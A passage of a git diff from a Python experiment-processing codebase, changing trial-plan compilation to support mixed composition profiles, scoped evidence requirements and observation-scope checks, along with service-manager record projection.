ExperimentRunModel) -> object: - return { +def _run_structural_payload(artifact: ExperimentRunModel, version: str = "1") -> object: + payload = { "task_reference_kind": artifact.task_ref.ref_kind, "scenario_reference_kind": artifact.scenario_snapshot_ref.ref_kind, "result_summary_ids": sorted(artifact.result_summaries), @@ -303,6 +331,9 @@ def _run_structural_payload(artifact: ExperimentRunModel) -> object: "generated_ref_kinds": sorted(item.ref_kind for item in artifact.generated_refs), "derived_ref_kinds": sorted(item.ref_kind for item in artifact.derived_from_refs), } + if version == "2": + payload["evidence_requirement_relations"] = _relation_structure(artifact) + return payload def _capture_spec_structural_payload(artifact: ExperimentCaptureSpecModel) -> object: @@ -314,8 +345,8 @@ def _capture_spec_structural_payload(artifact: ExperimentCaptureSpecModel) -> ob } -def _study_structural_payload(artifact: ExperimentStudyModel) -> object: - return { +def _study_structural_payload(artifact: ExperimentStudyModel, version: str = "1") -> object: + payload = { "membership": { key: {"role": member.role, "target_kind": member.target_ref.ref_kind} for key, member in sorted(artifact.membership.items()) @@ -324,6 +355,9 @@ def _study_structural_payload(artifact: ExperimentStudyModel) -> object: "has_run_allocation": artifact.run_allocation is not None, "has_analysis_plan": artifact.analysis_plan is not None, } + if version == "2": + payload["evidence_requirement_relations"] = _relation_structure(artifact) + return payload def _external_bindings_structural_payload(artifact: ExternalConceptBindingDocumentModel) -> object: diff --git a/implementations/python/packages/raes_processor/semantics/realization.py b/implementations/python/packages/raes_processor/semantics/realization.py index ff17cdfef..4e9518a0e 100644 --- a/implementations/python/packages/raes_processor/semantics/realization.py +++ b/implementations/python/packages/raes_processor/semantics/realization.py @@ -29,7 +29,8 @@ from raes_contracts.runtime_state import RealizationProvenanceEntry, RuntimeSnapshot from raes_contracts.vocabulary import ( Closure, - observation_strength_satisfies, + RealizationVerificationScope, + observation_requirement_satisfied, ) from .artifact_realization import ( @@ -174,9 +175,16 @@ def _compute_substrate_claim_admits( if claim is None or claim.disposition.value == "unsupported" or claim.mechanism is None: return False domain_admitted = requirement.value_domain is None or scalar_in_domain(claim.mechanism, requirement.value_domain) - strength_admitted = requirement.required_observation_strength is None or observation_strength_satisfies( - claim.observation_strength, - requirement.required_observation_strength, + # Selection alone is not an observation demand. When corroboration is + # required, the substrate mechanism supplies presence, not configuration. + observation_required = ( + requirement.verification_scope is not None or requirement.required_observation_strength is not None + ) + strength_admitted = not observation_required or observation_requirement_satisfied( + actual_scope=RealizationVerificationScope.PRESENCE, + actual_source=claim.observation_strength, + required_scope=requirement.verification_scope, + required_source=requirement.required_observation_strength, ) return domain_admitted and strength_admitted diff --git a/implementations/python/packages/raes_processor/semantics/realization_compute_substrate.py b/implementations/python/packages/raes_processor/semantics/realization_compute_substrate.py index 06e85f9a4..54f798f73 100644 --- a/implementations/python/packages/raes_processor/semantics/realization_compute_substrate.py +++ b/implementations/python/packages/raes_processor/semantics/realization_compute_substrate.py @@ -16,7 +16,7 @@ RealizationProvenanceEntry, RuntimeSnapshot, ) -from raes_contracts.vocabulary import observation_strength_satisfies +from raes_contracts.vocabulary import observation_requirement_satisfied from .realization_runtime_common import ( BACKEND_CONTRACT_INVALID, @@ -123,9 +123,11 @@ def _observation_admitted( returned_snapshot: RuntimeSnapshot, manifest: BackendManifest, ) -> bool: - strength_admitted = requirement.required_observation_strength is None or observation_strength_satisfies( - observation.observation_strength, - requirement.required_observation_strength, + strength_admitted = observation_requirement_satisfied( + actual_scope=observation.verification_scope, + actual_source=observation.observation_strength, + required_scope=requirement.verification_scope, + required_source=requirement.required_observation_strength, ) return ( strength_admitted diff --git a/implementations/python/packages/raes_processor/semantics/realization_concern_projections.py b/implementations/python/packages/raes_processor/semantics/realization_concern_projections.py index 83812c366..d100f8ecc 100644 --- a/implementations/python/packages/raes_processor/semantics/realization_concern_projections.py +++ b/implementations/python/packages/raes_processor/semantics/realization_concern_projections.py @@ -376,7 +376,7 @@ def project_service_listeners(value: object, observed: bool = False) -> object: listener_id = record.get("service_listener_id") if not isinstance(listener_id, str) or not listener_id: raise ValueError("service listeners require a service_listener_id") - normalized = RuntimeServiceListener.model_validate(record).model_dump(mode="json") + normalized = RuntimeServiceListener.model_validate(record).model_dump(mode="json", exclude_unset=True) listener = { key: normalized[key] for key in ( @@ -392,6 +392,7 @@ def project_service_listeners(value: object, observed: bool = False) -> object: "process_ref", "process_name", ) + if key in normalized } projected.append(listener) return sorted(projected, key=lambda item: str(item["service_listener_id"])) diff --git a/implementations/python/packages/raes_processor/semantics/realization_runtime_concern_profiles.py b/implementations/python/packages/raes_processor/semantics/realization_runtime_concern_profiles.py index 7b1db6402..c197e65c1 100644 --- a/implementations/python/packages/raes_processor/semantics/realization_runtime_concern_profiles.py +++ b/implementations/python/packages/raes_processor/semantics/realization_runtime_concern_profiles.py @@ -172,6 +172,7 @@ def _profile( "service_manager_units", "runtime-service-manager-units", excluded=("sub_state", "result", "exit_code", "status_text", "main_pid"), + identity=("unit_id",), ), _profile("packages", "runtime-packages", identity=("manager", "name")), _profile("repository_state", "runtime-repository-state", excluded=("presence", "refinements")), diff --git a/implementations/python/packages/raes_processor/semantics/realization_typed_runtime_projection.py b/implementations/python/packages/raes_processor/semantics/realization_typed_runtime_projection.py index ef2e4d1b2..1bc706a7e 100644 --- a/implementations/python/packages/raes_processor/semantics/realization_typed_runtime_projection.py +++ b/implementations/python/packages/raes_processor/semantics/realization_typed_runtime_projection.py @@ -7,7 +7,7 @@ from functools import partial from typing import Any -from pydantic import TypeAdapter +from pydantic import BaseModel, TypeAdapter from raes_contracts.canonical import canonical_json_digest from .realization_concern_observations import ( @@ -22,6 +22,20 @@ "values": ("value_classification",), "bind_source": ("bind_source_sensitivity",), } +_SERVICE_MANAGER_SYSTEMD_FIELDS = frozenset( + { + "unit_type", + "load_state", + "active_state", + "sub_state", + "enabled_state", + "result", + "exit_code", + "status_text", + "main_pid", + "exec_start", + } +) def _sensitive_classification(record: Mapping[str, Any], raw_field: str) -> tuple[str, object] | None: @@ -131,6 +145,33 @@ def _record_sort_key(record: Mapping[str, Any]) -> tuple[str, str]: return _runtime_local_identity(record) or "", canonical_json_digest(dict(record)) +def _service_manager_source_fields(value: object) -> frozenset[str]: + if isinstance(value, BaseModel): + return frozenset(value.model_fields_set) + if isinstance(value, Mapping): + return frozenset(value) + return frozenset() + + +def _preserve_service_manager_presence(normalized: object, source: object) -> object: + """Drop model defaults that were not supplied to a service-manager row.""" + + if not isinstance(normalized, list) or not isinstance(source, Sequence): + return normalized + projected: list[object] = [] + for record, original in zip(normalized, source, strict=True): + if not isinstance(record, Mapping): + projected.append(record) + continue + supplied = _service_manager_source_fields(original) + item = {key: item_value for key, item_value in record.items() if key in supplied} + manager = item.get("manager_kind") + if manager not in (None, "systemd") and not (isinstance(manager, str) and manager.startswith("${")): + item = {key: item_value for key, item_value in item.items() if key not in _SERVICE_MANAGER_SYSTEMD_FIELDS} + projected.append(item) + return projected + + def _project_runtime_mapping( value: Mapping[str, Any], *, @@ -257,6 +298,8 @@ def _project_with_options( _require_observation_mode(observed) normalized = validate_typed_runtime_observation(value, adapter=adapter) + if concern_kind == "runtime-service-manager-units": + normalized = _preserve_service_manager_presence(normalized, value) projected = _project_typed_runtime_value( normalized, concern_kind=concern_kind, diff --git a/implementations/python/packages/raes_processor/trial_compiler/__init__.py b/implementations/python/packages/raes_processor/trial_compiler/__init__.py index e7bc808fa..3a9b41656 100644 --- a/implementations/python/packages/raes_processor/trial_compiler/__init__.py +++ b/implementations/python/packages/raes_processor/trial_compiler/__init__.py @@ -2,9 +2,11 @@ from .compiler import compile_admitted_trial_plan from .models import TrialCompilationRequest, TrialCompilationResult +from .profiles import realization_assignment_key __all__ = [ "TrialCompilationRequest", "TrialCompilationResult", "compile_admitted_trial_plan", + "realization_assignment_key", ] diff --git a/implementations/python/packages/raes_processor/trial_compiler/apparatus.py b/implementations/python/packages/raes_processor/trial_compiler/apparatus.py index 2b0d9d182..dd097e16f 100644 --- a/implementations/python/packages/raes_processor/trial_compiler/apparatus.py +++ b/implementations/python/packages/raes_processor/trial_compiler/apparatus.py @@ -13,6 +13,7 @@ ParticipantImplementationManifestModel, ProcessorManifestV2Model, ) +from raes_contracts.contracts.mixed_composition import MixedCompositionComponentModel from raes_contracts.experiment_bindings import ( ApparatusManifest, ApparatusManifestKey, @@ -29,13 +30,14 @@ _MANIFEST_REFS_ADDRESS = "/apparatus/manifest_refs" _PARTICIPANT_MANIFEST_REFS_ADDRESS = "/apparatus/participant_manifest_refs" _CAPABILITY_REFS_ADDRESS = "/apparatus/capability_refs" +_REALIZATION_ENVELOPE_ADDRESS = "/apparatus/realization_envelope" def _fail(code: str, address: str, message: str) -> CompilationFailure: return CompilationFailure(code, address, message) -def _reference_key(reference: ExperimentManifestReferenceModel) -> ApparatusManifestKey: +def apparatus_manifest_key(reference: ExperimentManifestReferenceModel) -> ApparatusManifestKey: subject = reference.subject_ref if ( subject is None @@ -154,7 +156,7 @@ def _load_apparatus_manifests( selected: dict[ApparatusManifestKey, ApparatusManifest] = {} references_by_key: dict[ApparatusManifestKey, ExperimentManifestReferenceModel] = {} for reference in apparatus.manifest_refs: - key = _reference_key(reference) + key = apparatus_manifest_key(reference) if key in selected: raise _fail( "apparatus-manifest-duplicate", @@ -185,14 +187,14 @@ def _validate_apparatus_envelope_and_capabilities( ): raise _fail( "apparatus-envelope-unsupported", - "/apparatus/realization_envelope", + _REALIZATION_ENVELOPE_ADDRESS, "selected backend manifests do not bind the admitted realization envelope", ) available_capabilities = set().union(*(_manifest_capability_ids(manifest) for manifest in selected.values())) if apparatus.realization_envelope != getattr(realization_envelope, "identity", None): raise _fail( "apparatus-envelope-identity-mismatch", - "/apparatus/realization_envelope", + _REALIZATION_ENVELOPE_ADDRESS, "admitted apparatus realization envelope does not match the concrete payload", ) declared_capabilities = set(apparatus.capability_refs) @@ -343,8 +345,113 @@ def validate_selected_participant_manifests( return selected +def _resolve_composition_components( + components: Mapping[str, MixedCompositionComponentModel], + apparatus_manifests: Mapping[ApparatusManifestKey, ApparatusManifest], + realization_envelopes: Mapping[str, BackendRealizationEnvelopeModel], +) -> tuple[ + dict[str, ApparatusManifest], + dict[ApparatusManifestKey, ApparatusManifest], + dict[ApparatusManifestKey, ExperimentManifestReferenceModel], +]: + selected: dict[str, ApparatusManifest] = {} + selected_by_key: dict[ApparatusManifestKey, ApparatusManifest] = {} + references_by_key: dict[ApparatusManifestKey, ExperimentManifestReferenceModel] = {} + for component_id, component in sorted(components.items()): + key = apparatus_manifest_key(component.manifest_ref) + manifest = apparatus_manifests.get(key) + if manifest is None: + raise _fail( + "apparatus-manifest-payload-missing", + _MANIFEST_REFS_ADDRESS, + "composition component manifest reference has no exact concrete payload", + ) + _validate_reference_payload(component.manifest_ref, manifest) + envelope = realization_envelopes.get(component.realization_envelope.envelope_id) + if envelope is None or envelope.identity != component.realization_envelope: + raise _fail( + "apparatus-envelope-identity-mismatch", + _REALIZATION_ENVELOPE_ADDRESS, + "composition component realization envelope is unresolved or stale", + ) + if isinstance(manifest, BackendManifestV2Model) and manifest.realization_envelope != envelope.identity: + raise _fail( + "apparatus-envelope-unsupported", + _REALIZATION_ENVELOPE_ADDRESS, + "composition backend manifest does not bind its selected realization envelope", + ) + selected[component_id] = manifest + selected_by_key[key] = manifest + references_by_key[key] = component.manifest_ref + return selected, selected_by_key, references_by_key + + +def _validate_composition_compatibility(selected: Mapping[str, ApparatusManifest]) -> None: + processors = [manifest for manifest in selected.values() if isinstance(manifest, ProcessorManifestV2Model)] + backends = [manifest for manifest in selected.values() if isinstance(manifest, BackendManifestV2Model)] + for processor in processors: + if backends and not any( + backend.identity.name in processor.compatibility.backends + and processor.identity.name in backend.compatibility.processors + for backend in backends + ): + raise _fail( + "apparatus-compatibility-rejected", + _MANIFEST_REFS_ADDRESS, + "composition processor has no mutually compatible selected backend", + ) + + +def _validate_composition_intent( + selected: Mapping[str, ApparatusManifest], + selected_by_key: dict[ApparatusManifestKey, ApparatusManifest], + references_by_key: Mapping[ApparatusManifestKey, ExperimentManifestReferenceModel], + intent: ExperimentApparatusConstraintModel, +) -> None: + available_capabilities = set().union(*(_manifest_capability_ids(manifest) for manifest in selected.values())) + if not set(intent.required_capabilities).issubset(available_capabilities): + raise _fail( + "apparatus-capability-missing", + _CAPABILITY_REFS_ADDRESS, + "composition apparatus does not satisfy every required capability", + ) + _validate_apparatus_allowlists(selected_by_key, intent) + selected_references = tuple(references_by_key.values()) + if any( + not any(_reference_satisfies_requirement(selected_ref, required) for selected_ref in selected_references) + for required in intent.required_manifest_refs + ): + raise _fail( + "apparatus-manifest-missing", + _MANIFEST_REFS_ADDRESS, + "composition apparatus omits a required manifest", + ) + + +def validate_composition_components( + components: Mapping[str, MixedCompositionComponentModel], + apparatus_manifests: Mapping[ApparatusManifestKey, ApparatusManifest], + realization_envelopes: Mapping[str, BackendRealizationEnvelopeModel], + *, + intent: ExperimentApparatusConstraintModel | None, +) -> dict[str, ApparatusManifest]: + """Resolve exact component manifests/envelopes and their joint compatibility.""" + + selected, selected_by_key, references_by_key = _resolve_composition_components( + components, + apparatus_manifests, + realization_envelopes, + ) + _validate_composition_compatibility(selected) + if intent is not None: + _validate_composition_intent(selected, selected_by_key, references_by_key, intent) + return selected + + __all__ = [ + "apparatus_manifest_key", "validate_admitted_apparatus", + "validate_composition_components", "validate_selected_apparatus", "validate_selected_participant_manifests", ] diff --git a/implementations/python/packages/raes_processor/trial_compiler/compiler.py b/implementations/python/packages/raes_processor/trial_compiler/compiler.py index dffa29889..0555414fe 100644 --- a/implementations/python/packages/raes_processor/trial_compiler/compiler.py +++ b/implementations/python/packages/raes_processor/trial_compiler/compiler.py @@ -6,11 +6,8 @@ from raes import ( ExpandedScenarioBindingTargetResolver, - InstantiatedScenario, - select_scenario_family, validate_experiment_selection_against_family, ) -from raes.realization_envelope import member from raes_backend_protocols.capabilities import ObservationCapabilities from raes_backend_protocols.manifest import backend_manifest_from_v2_model_with_envelope from raes_contracts.canonical import canonical_json_bytes @@ -44,21 +41,33 @@ from ..capture_admission import ( CaptureDemand, capture_admission_diagnostics, - compile_capture_spec_demands, - compile_scenario_capture_demands, + compile_scoped_evidence_requirement_demands, ) +from . import models as compiler_models from .apparatus import ( validate_selected_apparatus, validate_selected_participant_manifests, ) -from .inputs import coordinates, plan_intent, validate_input_identities, visit_indices +from .inputs import ( + canonical_input_refs, + canonical_realization_binding, + coordinates, + entry_descriptor_ids, + plan_intent, + validate_input_identities, + validate_realization_assignments, + visit_indices, +) from .models import CompilationFailure, TrialCompilationRequest, TrialCompilationResult from .policies import CoordinateSelections, ResolvedSelection, compile_coordinate_selections -from .profiles import admitted_profiles, coordinate_projection, derive_identity +from .profiles import admitted_profiles, coordinate_projection, derive_identity, realization_assignment_key +from .realization_admission import validate_mixed_authority, validate_mixed_realization, validate_selected_scenario _DOMAIN = "trial-compiler" _BINDING_DESCRIPTORS_ADDRESS = "/binding_descriptors" _ENTRIES_ADDRESS = "/entries/" +# Preserve the established monkeypatch seam used by compiler failure-path tests. +_validate_selected_scenario = validate_selected_scenario class _CaptureAdmissionFailure(Exception): @@ -117,10 +126,17 @@ def _admitted_descriptors( request: TrialCompilationRequest, apparatus_manifests: Mapping[ApparatusManifestKey, ApparatusManifest], participant_manifests: Mapping[ParticipantManifestKey, ParticipantImplementationManifestModel], + *, + descriptor_ids: set[str] | None = None, ) -> dict[str, ExperimentBindingDescriptorModel]: descriptors = request.experiment.binding_descriptors if descriptors is None: return {} + if descriptor_ids is not None: + selected = [descriptor for descriptor in descriptors.descriptors if descriptor.binding_id in descriptor_ids] + if not selected: + return {} + descriptors = descriptors.model_copy(update={"descriptors": selected}) try: admitted = validate_experiment_binding_targets( descriptors, @@ -184,30 +200,6 @@ def _selection_records(row: CoordinateSelections) -> list[AdmittedSelectionRecor ] -def _validate_selected_scenario( - request: TrialCompilationRequest, - row: CoordinateSelections, - coordinate: TrialCoordinateModel, -) -> InstantiatedScenario: - outcomes = {selection.point_id: selection.outcome for selection in row.selections} - try: - selected = select_scenario_family(request.family, outcomes) - except (TypeError, ValueError) as exc: - raise _fail( - "selected-scenario-rejected", - _ENTRIES_ADDRESS + (coordinate.replicate_id or "coordinate"), - "the complete selection failed SDL-owned whole-scenario admission", - ) from exc - envelope_result = member(selected, request.realization_envelope.expression) - if not envelope_result.holds: - raise _fail( - "realization-envelope-membership-rejected", - _ENTRIES_ADDRESS + (coordinate.replicate_id or "coordinate"), - "the selected scenario is outside the admitted realization envelope", - ) - return selected - - def _require_capture_admission( demands: tuple[CaptureDemand, ...], observations: tuple[ObservationCapabilities | None, ...], @@ -227,11 +219,20 @@ def _compile_entry( descriptors: Mapping[str, ExperimentBindingDescriptorModel], observations: tuple[ObservationCapabilities | None, ...], ) -> tuple[str, AdmittedTrialEntryModel, str, TrialCleanupPlanModel]: + realization = request.realization_assignments.get(realization_assignment_key(coordinate)) selected = _validate_selected_scenario(request, row, coordinate) + if realization is not None: + validate_mixed_realization(request, realization, selected) + relations = ( + *request.task.evidence_requirement_relations, + *request.experiment.run_plan.evidence_requirement_relations, + ) _require_capture_admission( - ( - *compile_scenario_capture_demands(selected), - *compile_capture_spec_demands(tuple(request.capture_specs.values())), + compile_scoped_evidence_requirement_demands( + selected, + tuple(request.capture_specs.values()), + relations, + relation_scenario=request.family, ), observations, ) @@ -239,8 +240,11 @@ def _compile_entry( "plan_id": plan_id, "coordinate": coordinate_projection(coordinate), } - entry_id = derive_identity("trial-entry", identity_projection) - run_id = derive_identity("archival-run", identity_projection) + mixed = realization is not None + if realization is not None: + identity_projection["realization"] = canonical_realization_binding(realization).model_dump(mode="json") + entry_id = derive_identity("trial-entry", identity_projection, mixed_composition=mixed) + run_id = derive_identity("archival-run", identity_projection, mixed_composition=mixed) cleanup_id = derive_identity( "trial-cleanup", { @@ -268,7 +272,7 @@ def _compile_entry( selections=_selection_records(row), bindings=bindings, stochastic_draws=list(row.draws), - apparatus=request.apparatus, + apparatus=canonical_realization_binding(realization) if realization is not None else request.apparatus, execution_controls=AdmittedExecutionControlModel( attempt_timeout_seconds=request.execution_authority.attempt_timeout_seconds, on_timeout=request.execution_authority.on_timeout, @@ -289,14 +293,40 @@ def _failure_key(failure: CompilationFailure) -> tuple[str, str, str]: return failure.address, failure.code, failure.safe_message +def _compile_coordinate( + request: TrialCompilationRequest, + plan_id: str, + coordinate: TrialCoordinateModel, + row: CoordinateSelections, + authority: compiler_models._EntryCompilationAuthority, +) -> tuple[str, AdmittedTrialEntryModel, str, TrialCleanupPlanModel]: + realization = request.realization_assignments.get(realization_assignment_key(coordinate)) + profile_id = realization.profile_ref.ref_id if realization is not None else "" + descriptors = authority.descriptors + if descriptors is None: + descriptors = _admitted_descriptors( + request, + authority.apparatus_manifests_by_profile[profile_id], + authority.participant_manifests, + descriptor_ids=entry_descriptor_ids(request, row, coordinate), + ) + return _compile_entry( + request, + plan_id, + row, + coordinate, + descriptors, + authority.observations_by_profile[profile_id], + ) + + def _compile_entries( request: TrialCompilationRequest, plan_id: str, coordinates: list[TrialCoordinateModel], rows: list[CoordinateSelections], - descriptors: Mapping[str, ExperimentBindingDescriptorModel], visit_indices: tuple[int, ...], - observations: tuple[ObservationCapabilities | None, ...], + authority: compiler_models._EntryCompilationAuthority, ) -> tuple[dict[str, AdmittedTrialEntryModel], dict[str, TrialCleanupPlanModel], set[str]]: entries: dict[str, AdmittedTrialEntryModel] = {} cleanup_plans: dict[str, TrialCleanupPlanModel] = {} @@ -307,14 +337,7 @@ def _compile_entries( coordinate = coordinates[coordinate_index] row = rows[coordinate_index] try: - entry_id, entry, cleanup_id, cleanup = _compile_entry( - request, - plan_id, - row, - coordinate, - descriptors, - observations, - ) + entry_id, entry, cleanup_id, cleanup = _compile_coordinate(request, plan_id, coordinate, row, authority) except _CaptureAdmissionFailure as failure: capture_failures.update( { @@ -351,15 +374,6 @@ def _compile( coordinate_partitions: tuple[tuple[int, ...], ...] | None, ) -> AdmittedTrialPlanModel: validate_input_identities(request) - apparatus_manifests = validate_selected_apparatus(request) - participant_manifests = validate_selected_participant_manifests(request) - runtime_observations = tuple( - backend_manifest_from_v2_model_with_envelope(backend, request.realization_envelope).observation - for backend in sorted( - (manifest for manifest in apparatus_manifests.values() if isinstance(manifest, BackendManifestV2Model)), - key=lambda manifest: (manifest.identity.name, manifest.identity.version), - ) - ) try: validate_experiment_selection_against_family(request.experiment, family=request.family) except ValueError as exc: @@ -369,27 +383,64 @@ def _compile( "selection policy intent failed scenario-family admission", ) from exc planned_coordinates = coordinates(request) + validate_realization_assignments(request, planned_coordinates) + mixed = bool(request.realization_assignments) + if mixed: + authority = validate_mixed_authority(request) + apparatus_manifests_by_profile = authority.apparatus_manifests_by_root + participant_manifests = authority.participant_manifests + observations_by_profile = { + profile_id: tuple( + backend_manifest_from_v2_model_with_envelope( + manifest, + request.mixed_realization_envelopes[manifest.realization_envelope.envelope_id], + ).observation + for manifest in manifests + ) + for profile_id, manifests in authority.backend_manifests_by_root.items() + } + else: + apparatus_manifests = validate_selected_apparatus(request) + apparatus_manifests_by_profile = {"": apparatus_manifests} + participant_manifests = validate_selected_participant_manifests(request) + observations_by_profile = { + "": tuple( + backend_manifest_from_v2_model_with_envelope(backend, request.realization_envelope).observation + for backend in sorted( + ( + manifest + for manifest in apparatus_manifests.values() + if isinstance(manifest, BackendManifestV2Model) + ), + key=lambda manifest: (manifest.identity.name, manifest.identity.version), + ) + ) + } rows = compile_coordinate_selections( family=request.family, spec=request.experiment, coordinates=planned_coordinates, limits=request.limits, ) - descriptors = _admitted_descriptors( - request, - apparatus_manifests, - participant_manifests, + descriptors = None if mixed else _admitted_descriptors(request, apparatus_manifests, participant_manifests) + plan_id = derive_identity( + "trial-plan", + plan_intent(request, planned_coordinates), + mixed_composition=mixed, ) - plan_id = derive_identity("trial-plan", plan_intent(request, planned_coordinates)) traversal = visit_indices(len(planned_coordinates), coordinate_partitions) entries, cleanup_plans, used_control_ids = _compile_entries( request, plan_id, planned_coordinates, rows, - descriptors, traversal, - runtime_observations, + compiler_models._EntryCompilationAuthority( + descriptors=descriptors, + observations_by_profile=observations_by_profile, + apparatus_manifests_by_profile=apparatus_manifests_by_profile, + participant_manifests=participant_manifests, + ), ) controls = { control.control_id: control @@ -398,8 +449,8 @@ def _compile( } plan = seal_admitted_trial_plan( plan_id=plan_id, - profiles=admitted_profiles(), - input_refs=request.input_refs, + profiles=admitted_profiles(mixed_composition=mixed), + input_refs=canonical_input_refs(request), stochastic_controls=controls, cleanup_plans=cleanup_plans, entries=entries, diff --git a/implementations/python/packages/raes_processor/trial_compiler/inputs.py b/implementations/python/packages/raes_processor/trial_compiler/inputs.py index 2d64954fe..f222d5321 100644 --- a/implementations/python/packages/raes_processor/trial_compiler/inputs.py +++ b/implementations/python/packages/raes_processor/trial_compiler/inputs.py @@ -4,13 +4,20 @@ from raes import canonical_sdl_digest from raes_contracts.canonical import canonical_json_digest -from raes_contracts.contracts import TrialCoordinateModel +from raes_contracts.contracts import ( + AdmittedMixedCompositionBindingModel, + AdmittedParticipantManifestReferenceModel, + AdmittedTrialPlanInputRefsModel, + TrialCoordinateModel, +) from .models import CompilationFailure, TrialCompilationRequest -from .profiles import admitted_profiles, coordinate_projection, replicate_id +from .policies import CoordinateSelections +from .profiles import admitted_profiles, coordinate_projection, realization_assignment_key, replicate_id _RUN_PLAN_ADDRESS = "/run_plan" _CAPTURE_SPEC_REFS_ADDRESS = "/input_refs/capture_spec_refs" +_REALIZATION_ASSIGNMENTS_ADDRESS = "/realization_assignments" def _fail(code: str, address: str, message: str) -> CompilationFailure: @@ -140,7 +147,10 @@ def validate_input_identities(request: TrialCompilationRequest) -> None: _validate_binding_input_ref(request) _validate_capture_inputs(request) refs = request.input_refs - if request.apparatus.realization_envelope != request.realization_envelope.identity: + if ( + not request.realization_assignments + and request.apparatus.realization_envelope != request.realization_envelope.identity + ): raise _fail( "realization-envelope-ref-mismatch", "/apparatus/realization_envelope", @@ -152,6 +162,114 @@ def validate_input_identities(request: TrialCompilationRequest) -> None: "/input_refs", "optional study or associated-artifact references require their exact typed payloads", ) + declared_profiles = { + (reference.ref_id, reference.ref_version, reference.ref_digest) + for reference in refs.mixed_composition_profile_refs + } + supplied_profiles = set() + for _, profile in sorted(request.mixed_profiles.items()): + try: + reconstructed = type(profile).model_validate(profile.model_dump(mode="python")) + except (TypeError, ValueError) as exc: + raise _fail( + "mixed-profile-invalid", + "/input_refs/mixed_composition_profile_refs", + "a supplied mixed composition profile failed closed reconstruction", + ) from exc + supplied_profiles.add((reconstructed.profile_id, reconstructed.profile_revision, reconstructed.profile_digest)) + if declared_profiles != supplied_profiles or any( + key != profile.profile_id for key, profile in request.mixed_profiles.items() + ): + raise _fail( + "mixed-profile-input-mismatch", + "/input_refs/mixed_composition_profile_refs", + "mixed composition profile references do not resolve exactly to the supplied profiles", + ) + + +def validate_realization_assignments( + request: TrialCompilationRequest, + planned_coordinates: list[TrialCoordinateModel], +) -> None: + """Require an exact mixed-profile assignment for every coordinate when composition is used.""" + + if not ( + request.realization_assignments or request.mixed_profiles or request.input_refs.mixed_composition_profile_refs + ): + return + expected = {realization_assignment_key(coordinate) for coordinate in planned_coordinates} + if set(request.realization_assignments) != expected: + raise _fail( + "realization-assignment-incomplete", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "mixed composition realization assignments must cover every canonical coordinate exactly once", + ) + expected_participants = { + _participant_reference_key(reference) for reference in request.apparatus.participant_manifest_refs + } + for _, binding in sorted(request.realization_assignments.items()): + profile = request.mixed_profiles.get(binding.profile_ref.ref_id) + if ( + profile is None + or binding.profile_ref.ref_version != profile.profile_revision + or binding.profile_ref.ref_digest != profile.profile_digest + ): + raise _fail( + "realization-assignment-profile-mismatch", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "a realization assignment does not resolve to its exact supplied composition profile", + ) + if { + _participant_reference_key(reference) for reference in binding.participant_manifest_refs + } != expected_participants: + raise _fail( + "realization-assignment-participant-manifest-mismatch", + _REALIZATION_ASSIGNMENTS_ADDRESS, + "a realization assignment does not bind the exact selected participant manifest authority", + ) + + +def _participant_reference_key( + reference: AdmittedParticipantManifestReferenceModel, +) -> tuple[str, str, str, str, str]: + return ( + reference.participant_address, + reference.implementation_name, + reference.implementation_version, + reference.manifest_version, + reference.manifest_digest, + ) + + +def canonical_realization_binding( + binding: AdmittedMixedCompositionBindingModel, +) -> AdmittedMixedCompositionBindingModel: + """Return a binding with its set-like participant authority canonically ordered.""" + + return binding.model_copy( + update={"participant_manifest_refs": sorted(binding.participant_manifest_refs, key=_participant_reference_key)} + ) + + +def entry_descriptor_ids( + request: TrialCompilationRequest, + row: CoordinateSelections, + coordinate: TrialCoordinateModel, +) -> set[str]: + """Return descriptor IDs selected for one exact logical coordinate.""" + + descriptors = request.experiment.binding_descriptors + if descriptors is None: + return set() + declared = {descriptor.binding_id: descriptor for descriptor in descriptors.descriptors} + return { + descriptor_id + for selection in row.selections + for descriptor_id in getattr( + request.experiment.run_plan.selection_policies[selection.policy_id], "binding_descriptor_refs", () + ) + if descriptor_id in declared and declared[descriptor_id].source_condition_id == coordinate.condition_id + } def coordinates(request: TrialCompilationRequest) -> list[TrialCoordinateModel]: @@ -194,13 +312,39 @@ def coordinates(request: TrialCompilationRequest) -> list[TrialCoordinateModel]: def plan_intent(request: TrialCompilationRequest, planned_coordinates: list[TrialCoordinateModel]) -> dict[str, object]: """Return the complete plan-identity projection.""" - return { - "profiles": admitted_profiles().model_dump(mode="json"), - "input_refs": request.input_refs.model_dump(mode="json"), - "apparatus": request.apparatus.model_dump(mode="json"), + mixed = bool(request.realization_assignments) + input_refs = canonical_input_refs(request) + intent = { + "profiles": admitted_profiles(mixed_composition=mixed).model_dump(mode="json"), + "input_refs": input_refs.model_dump(mode="json"), "execution_authority": request.execution_authority.model_dump(mode="json"), "coordinates": [coordinate_projection(coordinate) for coordinate in planned_coordinates], } + if mixed: + intent["realization_assignments"] = { + key: canonical_realization_binding(binding).model_dump(mode="json") + for key, binding in sorted(request.realization_assignments.items()) + } + else: + intent["apparatus"] = request.apparatus.model_dump(mode="json") + return intent + + +def canonical_input_refs(request: TrialCompilationRequest) -> AdmittedTrialPlanInputRefsModel: + """Return input refs with set-like composition profile refs in canonical order.""" + + refs = request.input_refs.mixed_composition_profile_refs + if not refs: + return request.input_refs + ordered = sorted( + refs, + key=lambda reference: ( + reference.ref_id, + reference.ref_version or "", + reference.ref_digest or "", + ), + ) + return request.input_refs.model_copy(update={"mixed_composition_profile_refs": ordered}) def visit_indices( @@ -221,4 +365,13 @@ def visit_indices( return flattened -__all__ = ["coordinates", "plan_intent", "validate_input_identities", "visit_indices"] +__all__ = [ + "coordinates", + "entry_descriptor_ids", + "canonical_realization_binding", + "canonical_input_refs", + "plan_intent", + "validate_input_identities", + "validate_realization_assignments", + "visit_indices", +] diff --git a/implementations/python/packages/raes_processor/trial_compiler/models.py b/implementations/python/packages/raes_processor/trial_compiler/models.py index bdf97a5ce..28e2e8281 100644 --- a/implementations/python/packages/raes_processor/trial_compiler/models.py +++ b/implementations/python/packages/raes_processor/trial_compiler/models.py @@ -7,11 +7,14 @@ from raes.canonical import canonical_sdl_digest from raes.scenario import ExpandedScenario +from raes_backend_protocols.capabilities import ObservationCapabilities from raes_contracts.canonical import canonical_json_digest from raes_contracts.contracts import ( AdmittedApparatusBindingModel, + AdmittedMixedCompositionBindingModel, AdmittedTrialPlanInputRefsModel, AdmittedTrialPlanModel, + ExperimentBindingDescriptorModel, ExperimentCaptureSpecModel, ExperimentSpecModel, ExperimentTaskModel, @@ -19,6 +22,11 @@ TrialCompilationLimitsModel, 